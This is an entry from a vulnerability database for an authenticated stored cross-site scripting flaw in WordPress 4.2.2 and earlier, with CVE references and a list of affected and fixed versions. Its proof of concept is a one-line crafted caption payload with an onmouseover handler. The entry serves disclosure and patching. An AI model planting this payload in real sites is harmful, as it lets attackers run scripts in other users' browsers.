WordPress Vulnerabilities

WordPress <= 4.2.2 - Authenticated Stored Cross-Site Scripting (XSS)

Description

Authenticated Cross-Site Scripting (XSS) in post/page (text editor mode). Editor user and up.

Proof of Concept

<a href="[caption code=">]</a><a title=" onmouseover=alert('test')  ">link</a>

Affects WordPress

3.8.1
Fixed in WordPress 3.8.9
3.8
Fixed in WordPress 3.8.9
3.7.1
Fixed in WordPress 3.7.9
3.6
Fixed in WordPress 4.2.3
3.5.2
Fixed in WordPress 4.2.3
3.5.1
Fixed in WordPress 4.2.3
3.5
Fixed in WordPress 4.2.3
3.4.2
Fixed in WordPress 4.2.3
3.4.1
Fixed in WordPress 4.2.3
3.4
Fixed in WordPress 4.2.3
3.3.3
Fixed in WordPress 4.2.3
3.3.2
Fixed in WordPress 4.2.3
3.3.1
Fixed in WordPress 4.2.3
3.3
Fixed in WordPress 4.2.3
3.2.1
Fixed in WordPress 4.2.3
3.2
Fixed in WordPress 4.2.3
3.1.4
Fixed in WordPress 4.2.3
3.1.3
Fixed in WordPress 4.2.3
3.1.2
Fixed in WordPress 4.2.3
3.1.1
Fixed in WordPress 4.2.3
3.1
Fixed in WordPress 4.2.3
3.0.6
Fixed in WordPress 4.2.3
3.0.5
Fixed in WordPress 4.2.3
3.0.4
Fixed in WordPress 4.2.3
3.0.3
Fixed in WordPress 4.2.3
3.0.2
Fixed in WordPress 4.2.3
3.0.1
Fixed in WordPress 4.2.3
3.0
Fixed in WordPress 4.2.3
3.6.1
Fixed in WordPress 4.2.3
3.9
Fixed in WordPress 3.9.7
3.9.1
Fixed in WordPress 3.9.7
3.7
Fixed in WordPress 3.7.9
3.8.2
Fixed in WordPress 3.8.9
3.8.3
Fixed in WordPress 3.8.9
3.9.2
Fixed in WordPress 3.9.7
4.0
Fixed in WordPress 4.0.6
4.1
Fixed in WordPress 4.1.6
4.1.1
Fixed in WordPress 4.1.6
4.2
Fixed in WordPress 4.2.3
3.9.3
Fixed in WordPress 3.9.7
4.1.2
Fixed in WordPress 4.1.6
4.2.1
Fixed in WordPress 4.2.3
4.0.1
Fixed in WordPress 4.0.6
4.1.5
Fixed in WordPress 4.1.6
4.1.4
Fixed in WordPress 4.1.6
4.1.3
Fixed in WordPress 4.1.6
3.8.4
Fixed in WordPress 3.8.9
3.7.4
Fixed in WordPress 3.7.9
3.8.8
Fixed in WordPress 3.8.9
3.8.5
Fixed in WordPress 3.8.9
3.8.6
Fixed in WordPress 3.8.9
3.8.7
Fixed in WordPress 3.8.9
3.9.4
Fixed in WordPress 3.9.7
3.9.5
Fixed in WordPress 3.9.7
3.9.6
Fixed in WordPress 3.9.7
4.2.2
Fixed in WordPress 4.2.3
4.0.2
Fixed in WordPress 4.0.6
4.0.3
Fixed in WordPress 4.0.6
4.0.4
Fixed in WordPress 4.0.6
4.0.5
Fixed in WordPress 4.0.6
3.7.5
Fixed in WordPress 3.7.9
3.7.6
Fixed in WordPress 3.7.9
3.7.7
Fixed in WordPress 3.7.9
3.7.8
Fixed in WordPress 3.7.9

References

CVE
CVE-2015-5622
CVE
CVE-2015-5623
URL
https://wordpress.org/news/2015/07/wordpress-4-2-3/
URL
https://twitter.com/klikkioy/status/624264122570526720
URL
https://klikki.fi/adv/wordpress3.html

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Submitter
ethicalhack3r
Submitter twitter
ethicalhack3r
Verified
Yes
WPVDB ID
0f027d7d-674b-4a63-9603-25ea68069c1d

Timeline

Publicly Published
2015-07-23 (about 8 years ago)
Added
2015-07-23 (about 8 years ago)
Last Updated
2019-10-22 (about 4 years ago)

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